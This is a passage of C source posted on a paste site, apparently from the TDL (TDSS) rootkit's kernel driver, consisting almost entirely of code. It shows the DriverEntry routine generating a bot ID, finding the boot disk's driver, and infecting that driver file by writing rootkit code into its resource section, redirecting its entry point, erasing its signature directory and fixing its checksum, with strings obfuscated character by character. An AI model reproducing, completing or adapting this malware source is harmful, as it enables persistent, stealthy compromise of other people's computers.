  996.                                 memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress),PVOID),(PVOID)TDLStart,(DWORD_PTR)DriverInfect-(DWORD_PTR)TDLStart);
  997.                                 memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)+TDL_START_SIZE-sizeof(TDL_START),PVOID),&tsStart,sizeof(tsStart));
  998.                                 pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=0;
  999.                                 pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=0;
  1000.                                 pinhHeader->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
  1001.                                 pinhHeader->OptionalHeader.CheckSum=0;
  1002.                                 pinhHeader->OptionalHeader.CheckSum=PEChecksum(pvFile,fsiInfo.EndOfFile.LowPart,0);
  1003.                             }
  1004.                             ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);
  1005.                         }
  1006.                         ZwClose(hSection);
  1007.                     }
  1008.                 }
  1009.             }
  1010.         }
  1011.     }
  1012.     return ntsResult;
  1013. }
  1014.  
  1015. DWORD DriverEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
  1016. {
  1017.     //CHAR cDebug[]={'T','D','L','\n',0};
  1018.     //DbgPrint(cDebug);
  1019.  
  1020.     CHAR cBotID[0x10+1];
  1021.     WCHAR wcBotID[0x10+sizeof(L'\\')+1];
  1022.     WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};
  1023.     OBJECT_ATTRIBUTES oaAttributes;
  1024.     HANDLE hEvent;
  1025.     NTSTATUS ntsStatus=STATUS_OBJECT_NAME_COLLISION;
  1026.     UNICODE_STRING usName;
  1027.     GenerateBotID(cBotID,RTL_NUMBER_OF(cBotID));
  1028.    
  1029.     _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,cBotID);
  1030.     RtlInitUnicodeString(&usName,wcBotID);
  1031.     InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
  1032.     if(NT_SUCCESS(ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE)))
  1033.     {
  1034.         WCHAR wcVolume[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};
  1035.         HANDLE hVolumeLink;
  1036.  
  1037.         ntsStatus=STATUS_LINK_FAILED;
  1038.         ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)ExAllocatePool(NonPagedPool,sizeof(TDL_ADDRESSES));
  1039.         memset(GET_TDL_ADDRESSES,0,sizeof(TDL_ADDRESSES));
  1040.         strncpy(GET_TDL_ADDRESSES->cBotID,cBotID,sizeof(GET_TDL_ADDRESSES->cBotID));   
  1041.         RtlInitUnicodeString(&usName,wcVolume);
  1042.         InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
  1043.         if(NT_SUCCESS(ZwOpenSymbolicLinkObject(&hVolumeLink,GENERIC_READ,&oaAttributes)))
  1044.         {
  1045.             WCHAR wcSystemRoot[MAX_PATH];
  1046.  
  1047.             usName.Buffer=wcSystemRoot;
  1048.             usName.MaximumLength=sizeof(wcSystemRoot);
  1049.             if(NT_SUCCESS(ZwQuerySymbolicLinkObject(hVolumeLink,&usName,0)))
  1050.             {
  1051.                 HANDLE hVolumeDirectory;
  1052.                 WCHAR wcVolumeDevice[MAX_PATH];
  1053.                 WCHAR wcFormatDevice[]={L'\\',L'?',L'?',L'\\',L'g',L'l',L'o',L'b',L'a',L'l',L'r',L'o',L'o',L't',L'%',L'w',L'Z',0};
  1054.  
  1055.                 *wcschr(wcschr(usName.Buffer+sizeof(WCHAR),L'\\')+sizeof(WCHAR),L'\\')=0;
  1056.                 _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatDevice,&usName);
  1057.                 RtlInitUnicodeString(&usName,wcVolumeDevice);
  1058.                 ntsStatus=STATUS_FILE_IS_A_DIRECTORY;
  1059.                 if(NT_SUCCESS(ZwOpenDirectoryObject(&hVolumeDirectory,DIRECTORY_QUERY,&oaAttributes)))
  1060.                 {
  1061.                     PDIRECTORY_BASIC_INFORMATION pdbiInfo;
  1062.  
  1063.                     pdbiInfo=(PDIRECTORY_BASIC_INFORMATION)ExAllocatePool(PagedPool,PAGE_SIZE);
  1064.                     if(pdbiInfo!=0)
  1065.                     {
  1066.                         DWORD dwSize;
  1067.                         DWORD dwContext=0;
  1068.  
  1069.                         ntsStatus=STATUS_BUFFER_TOO_SMALL;
  1070.                         if(NT_SUCCESS(ZwQueryDirectoryObject(hVolumeDirectory,pdbiInfo,PAGE_SIZE,FALSE,FALSE,&dwContext,&dwSize)))
  1071.                         {
  1072.                             ntsStatus=STATUS_OBJECT_NAME_NOT_FOUND;
  1073.                             for(dwContext=0;pdbiInfo[dwContext].ObjectName.Length!=0;dwContext++)
  1074.                             {
  1075.                                 WCHAR wcDevice[]={L'd',L'e',L'v',L'i',L'c',L'e',0};
  1076.  
  1077.                                 if((*(PDWORD)pdbiInfo[dwContext].ObjectName.Buffer=='R\0D\0')
  1078.                                     &&(_wcsnicmp(pdbiInfo[dwContext].ObjectTypeName.Buffer,wcDevice,pdbiInfo[dwContext].ObjectTypeName.Length/sizeof(WCHAR))==0))
  1079.                                 {
  1080.                                     WCHAR wcFormatObject[]={L'%',L's',L'\\',L'%',L'w',L'Z',0};
  1081.                                     HANDLE hVolumeDevice;
  1082.                                     IO_STATUS_BLOCK iosbStatus;
  1083.  
  1084.                                     ntsStatus=STATUS_OBJECT_NO_LONGER_EXISTS;
  1085.                                     _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatObject,wcSystemRoot,&pdbiInfo[dwContext].ObjectName);
  1086.                                     RtlInitUnicodeString(&usName,wcVolumeDevice);
  1087.                                     if(NT_SUCCESS(ZwOpenFile(&hVolumeDevice,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))
  1088.                                     {
  1089.                                         PFILE_OBJECT pfoDriver;
  1090.  
  1091.                                         ntsStatus=STATUS_GRAPHICS_TOO_MANY_REFERENCES;
  1092.                                         if(NT_SUCCESS(ObReferenceObjectByHandle(hVolumeDevice,SYNCHRONIZE,0,KernelMode,(PVOID*)&pfoDriver,0)))
  1093.                                         {
  1094.                                             WCHAR wcFormatDriverPath[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};
  1095.                                             WCHAR wcPath[MAX_PATH];
  1096.                                             HANDLE hDriver;
  1097.  
  1098.                                             GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)pfoDriver->DeviceObject->DeviceObjectExtension)->AttachedTo;
  1099.                                             while(((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo!=0)
  1100.                                             {
  1101.                                                 GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo;
  1102.                                             }
  1103.                                             GET_TDL_ADDRESSES->pdoDriver=GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject;
  1104.                                             _snwprintf(wcPath,RTL_NUMBER_OF(wcPath)-1,wcFormatDriverPath,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));
  1105.                                             ntsStatus=DriverInfect(wcPath,GET_TDL_ADDRESSES->pdoDeviceDisk,&hDriver);
  1106.                                             if(NT_SUCCESS(ntsStatus))
  1107.                                             {
  1108.                                                 WCHAR wcLinkDriver[]={L'\\',L't',L'd',L'r',L'v',0};
  1109.                                                 WCHAR wcLinkDevice[]={L'\\',L't',L'd',L'e',L'v',0};
  1110.                                                 HANDLE hLink;
  1111.                                                 UNICODE_STRING usLink;
  1112.                                                
  1113.                                                
  1114.                                                 SECURITY_DESCRIPTOR sdSecurity;
  1115.                                                
  1116.                                                 RtlCreateSecurityDescriptor(&sdSecurity,SECURITY_DESCRIPTOR_REVISION);
  1117.                                                 RtlSetDaclSecurityDescriptor(&sdSecurity,TRUE,(PACL)NULL,FALSE);
  1118.                                                
  1119.                                                 GetEPNameOffset();
  1120.                                                 ntsStatus=((PTDLInit)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLInit-(DWORD_PTR)TDLEntry))(hDriver);
  1121.                                                 if(NT_SUCCESS(ntsStatus))
  1122.                                                 {
  1123.                                                     RtlInitUnicodeString(&usName,wcLinkDriver);
  1124.                                                     RtlInitUnicodeString(&usLink,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));
  1125.                                                     InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,0);
  1126.                                                     ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);
  1127.                                                    
  1128.                                                     RtlInitUnicodeString(&usName,wcLinkDevice);
  1129.                                                     RtlInitUnicodeString(&usLink,GET_TDL_ADDRESSES->wcFSDevice);
  1130.                                                     InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,&sdSecurity);
  1131.                                                     ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);
  1132.                                                     ObfDereferenceObject(pfoDriver);
  1133.                                                     ZwClose(hVolumeDevice);
  1134.                                                     ntsStatus=STATUS_SECRET_TOO_LONG;
  1135.                                                 }
  1136.                                             }
  1137.                                         }
  1138.                                         break;
  1139.                                     }
  1140.                                 }
  1141.                             }
  1142.                         }
  1143.                         ExFreePool(pdbiInfo);
  1144.                     }
  1145.                     ZwClose(hVolumeDirectory);
  1146.                 }
  1147.             }
  1148.             ZwClose(hVolumeLink);
  1149.         }
  1150.     }
  1151.     return ntsStatus;
  1152. }
  1153. EXTERN_C_END
  1154. NT_END
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!